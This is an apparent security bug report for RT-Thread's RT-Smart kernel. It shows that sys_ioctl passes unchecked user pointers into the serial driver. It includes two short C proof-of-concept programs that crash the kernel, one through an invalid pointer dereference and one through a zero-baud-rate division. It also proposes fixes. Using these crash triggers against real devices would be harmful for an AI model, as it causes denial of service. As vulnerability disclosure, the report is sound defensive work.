[Bug] Security-related Bug RT-Smart serial ioctl trusts user pointers and can crash the kernel

RT-Thread Version

v5.2.2

Hardware Type/Architectures

N/A

Develop Toolchain

Other

Describe the bug

RT-Smart serial ioctl trusts user pointers and can crash the kernel

Describe the bug

RT-Smart validates and copies user buffers for read() and write(), but sys_ioctl() forwards its third argument directly into the kernel-side ioctl implementation. For serial devices, the file descriptor selects a legitimate kernel-owned device, but the ioctl payload pointer remains user-controlled and is later treated as a trusted kernel pointer to driver-specific data structures.

The concrete affected path is:

user process
  -> ioctl(fd, RT_DEVICE_CTRL_CONFIG, user_ptr)
  -> sys_ioctl(fd, cmd, data)
  -> ioctl(fd, cmd, data)
  -> fcntl(fd, cmd, data)
  -> dfs_file_ioctl(...)
  -> serial_fops_ioctl(...)
  -> rt_device_control(device, cmd, args)
  -> rt_serial_control(..., RT_DEVICE_CTRL_CONFIG, args)
  -> unchecked dereference of args as struct serial_configure *
  -> optional board configure callback with attacker-controlled fields

This gives a user process two direct crash paths when it has access to a serial device node:

1. Passing an invalid ioctl payload pointer can crash the kernel before any board callback is reached, because rt_serial_control() dereferences the unchecked pointer as struct serial_configure *.
2. Passing a readable user struct serial_configure can make the kernel consume attacker-controlled fields. On imx6ull-smart, setting baud_rate = 0 while preserving the current buffer size can reach board UART code that divides by cfg->baud_rate.

The second case is concrete for RT-Smart imx6ull serial. The default imx6ull-smart configuration enables RT-Smart, MMU, serial, and POSIX devio, and registers BSP_USING_UART1 as uart0.

Affected code

read() and write() explicitly validate and copy user buffers under ARCH_MM_MMU:

components/lwp/lwp_syscall.c:423
components/lwp/lwp_syscall.c:434
components/lwp/lwp_syscall.c:439
components/lwp/lwp_syscall.c:445
components/lwp/lwp_syscall.c:448
components/lwp/lwp_syscall.c:494
components/lwp/lwp_syscall.c:502
components/lwp/lwp_syscall.c:507
components/lwp/lwp_syscall.c:513
components/lwp/lwp_syscall.c:516

sys_ioctl() does not perform the same user-access check or copy:

sysret_t sys_ioctl(int fd, unsigned long cmd, void* data)
{
    int ret = ioctl(fd, cmd, data);
    return (ret < 0 ? GET_ERRNO() : ret);
}

Location:

components/lwp/lwp_syscall.c:796
components/lwp/lwp_syscall.c:798

For RT-Thread serial devices with POSIX devio enabled, the serial fops layer resolves the target device from the file object and forwards the unchecked argument into rt_device_control():

static int serial_fops_ioctl(struct dfs_file *fd, int cmd, void *args)
{
    rt_device_t device;
    int flags = (int)(rt_base_t)args;
    int mask  = O_NONBLOCK | O_APPEND;

    device = (rt_device_t)fd->vnode->data;
    switch ((rt_ubase_t)cmd)
    {
    case FIONREAD:
        break;
    case FIONWRITE:
        break;
    case F_SETFL:
        flags &= mask;
        fd->flags &= ~mask;
        fd->flags |= flags;
        break;
    }

    return rt_device_control(device, cmd, args);
}

Location:

components/drivers/serial/dev_serial.c:121
components/drivers/serial/dev_serial.c:141

The serial control path then treats args as a trusted kernel pointer. The first dereference of pconfig->bufsz is already enough to crash the kernel if args is an invalid user pointer. If the pointer is readable, serial->config = *pconfig copies attacker-controlled fields into the serial state:

case RT_DEVICE_CTRL_CONFIG:
    if (args)
    {
        struct serial_configure *pconfig = (struct serial_configure *) args;
        if (pconfig->bufsz != serial->config.bufsz && serial->parent.ref_count)
        {
            return -RT_EBUSY;
        }

        serial->config = *pconfig;
        if (serial->parent.ref_count)
        {
            serial->ops->configure(serial, (struct serial_configure *) args);
        }
    }
    break;

Locations:

components/drivers/serial/dev_serial.c:1084
components/drivers/serial/dev_serial.c:1087
components/drivers/serial/dev_serial.c:1088
components/drivers/serial/dev_serial.c:1094
components/drivers/serial/dev_serial.c:1098

Opening the device sets ref_count, so the configure callback is reachable after open():

components/drivers/serial/dev_serial.c:73
components/drivers/serial/dev_serial.c:103
components/drivers/core/device.c:271
components/drivers/core/device.c:275

Separately, if the unchecked pointer is readable and the configure callback is reached, imx6ull-smart has a board-specific divide-by-zero path. The board UART configure function uses the user-controlled baud_rate field as a divisor. The assertion only checks the upper bound, so baud_rate = 0 passes this assertion and reaches the division:

RT_ASSERT(cfg->baud_rate <= BAUD_RATE_921600);

periph->UBIR = UART_UBIR_INC(15);
periph->UBMR = UART_UBMR_MOD(HW_UART_BUS_CLOCK / cfg->baud_rate - 1);

Location:

bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:191
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:194

The imx6ull-smart BSP enables RT-Smart and serial device access:

bsp/nxp/imx/imx6ull-smart/rtconfig.h:65    RT_USING_SMART
bsp/nxp/imx/imx6ull-smart/rtconfig.h:123   ARCH_MM_MMU
bsp/nxp/imx/imx6ull-smart/rtconfig.h:202   RT_USING_SERIAL
bsp/nxp/imx/imx6ull-smart/rtconfig.h:277   RT_USING_POSIX_DEVIO
bsp/nxp/imx/imx6ull-smart/rtconfig.h:642   BSP_USING_UART1

The same BSP registers UART1 as the serial device named uart0:

bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:52
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:60
bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:338

Steps to reproduce by source reasoning

I have not reproduced this on physical imx6ull-smart hardware. The source-level trigger requires:

RT_USING_SMART      = enabled
ARCH_MM_MMU         = enabled
RT_USING_SERIAL     = enabled
RT_USING_POSIX_DEVIO = enabled
a serial device node such as /dev/uart0 is accessible

For an invalid user pointer dereference:

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>

int main(void)
{
    int fd = open("/dev/uart0", O_RDWR);
    if (fd < 0) {
        return 1;
    }

    /*
     * sys_ioctl() forwards this pointer without lwp_user_accessable()
     * or lwp_get_from_user(). rt_serial_control() then dereferences it
     * as struct serial_configure *.
     */
    ioctl(fd, RT_DEVICE_CTRL_CONFIG, (void *)0x1);

    close(fd);
    return 0;
}

For the imx6ull-smart divide-by-zero path, the ioctl payload must be a readable struct serial_configure. It must also preserve the current serial buffer size so that rt_serial_control() does not return -RT_EBUSY before calling the board configure callback. With the default serial configuration this buffer size is RT_SERIAL_RB_BUFSZ.

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rtdevice.h>

int main(void)
{
    struct serial_configure cfg = RT_SERIAL_CONFIG_DEFAULT;
    int fd = open("/dev/uart0", O_RDWR);
    if (fd < 0) {
        return 1;
    }

    /*
     * Keep cfg.bufsz equal to the current default buffer size, but set
     * baud_rate to zero. The imx6ull-smart UART configure callback uses
     * cfg.baud_rate as a divisor.
     */
    cfg.baud_rate = 0;

    ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg);

    close(fd);
    return 0;
}

Expected source-level path for the divide-by-zero case:

open("/dev/uart0", O_RDWR)
  -> serial_fops_open()
  -> rt_device_open()
  -> device ref_count becomes nonzero

ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg)
  -> sys_ioctl()
  -> ioctl()
  -> fcntl()
  -> dfs_file_ioctl()
  -> serial_fops_ioctl()
  -> rt_serial_control()
  -> unchecked reads from user-provided struct serial_configure
  -> pconfig->bufsz is accepted because it matches serial->config.bufsz
  -> serial->ops->configure(serial, &cfg)
  -> imx6ull-smart _uart_ops_configure()
  -> HW_UART_BUS_CLOCK / cfg->baud_rate
  -> divide by zero when cfg.baud_rate == 0

Security impact

A user process that can open a serial device can pass arbitrary ioctl payload pointers into kernel driver code. At minimum, this can crash the kernel by causing an unchecked user-pointer dereference in rt_serial_control(). If the pointer is readable, the kernel consumes attacker-controlled serial configuration fields. On imx6ull-smart, a user-supplied serial configuration with baud_rate = 0 can additionally reach a divide-by-zero in the UART configure path.

This is a user-kernel boundary issue. The device pointer itself is kernel-owned and selected through the file descriptor; the attacker does not directly supply a raw rt_device_t. The unchecked part is the ioctl payload pointer and the data it points to.

Recommended fix

Do not pass the raw user pointer from sys_ioctl() into driver code. The ioctl layer should validate and copy command-specific payloads before calling the kernel-side implementation, and copy results back to user memory for output commands.

For serial configuration commands, one possible direction is:

case RT_DEVICE_CTRL_CONFIG:
{
    struct serial_configure kcfg;

    if (!data || !lwp_user_accessable(data, sizeof(kcfg))) {
        return -EFAULT;
    }

    if (lwp_get_from_user(&kcfg, data, sizeof(kcfg)) != sizeof(kcfg)) {
        return -EFAULT;
    }

    return ioctl(fd, cmd, &kcfg);
}

The UART configure implementations should also validate configuration values before programming hardware. In particular, reject baud_rate == 0 before using it as a divisor:

if (cfg->baud_rate == 0 || cfg->baud_rate > BAUD_RATE_921600) {
    return -RT_EINVAL;
}

The same audit should be applied to other device ioctl commands that copy callback pointers or nested pointers from the ioctl argument. Those commands should either be unavailable to user space or should use explicit safe kernel-side representations instead of trusting user-provided function pointers.

Other additional context

No response